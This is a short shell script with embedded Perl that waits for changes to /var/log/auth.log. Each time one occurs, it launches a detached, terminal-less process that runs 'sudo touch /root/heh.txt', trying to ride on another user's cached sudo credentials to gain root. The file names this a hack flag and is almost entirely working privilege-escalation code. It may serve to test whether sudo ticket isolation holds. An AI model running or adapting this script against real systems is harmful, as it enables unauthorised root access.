#!/bin/sh

monitoring_logs=/var/log/auth.log

hack_flag=/root/heh.txt

get_monitoring_string()
{
  prew_monitoring_string=$monitoring_string
  monitoring_string=`{
    for log in $monitoring_logs; do
      ls -l $log
    done | md5sum
  }`
}

test_sudo_root()
{
  echo "testing sudo gate"

  perl << endstart &
    use POSIX;
    open STDIN, '<', '/dev/null';
    open STDOUT, '>', '/dev/null';
    open STDERR, '>', '/dev/null';
    POSIX::setsid();
    system 'sudo', 'touch', '$hack_flag';
endstart

  sudo_pid=$!
  sleep 10

  if test -f $hack_flag; then
    ls -l $hack_flag
    exit 0
  fi

  echo -n "kill child process $sudo_pid... "
  kill_result=`kill -9 $sudo_pid 2>&1`
  sleep 1
  if ps ax|grep -v grep|grep -q $sudo_pid; then
    echo error kill process $sudo_pid
    echo $kill_result
  else
    echo ok
  fi
}


if test -f $hack_flag; then
  ls -l $hack_flag
  echo File $hack_flag exists
  exit -1
fi

get_monitoring_string
# get_monitoring_string

while /bin/true; do
  if ! test "$prew_monitoring_string" = "$monitoring_string"; then
    test_sudo_root
  fi
  sleep 120
  get_monitoring_string
done


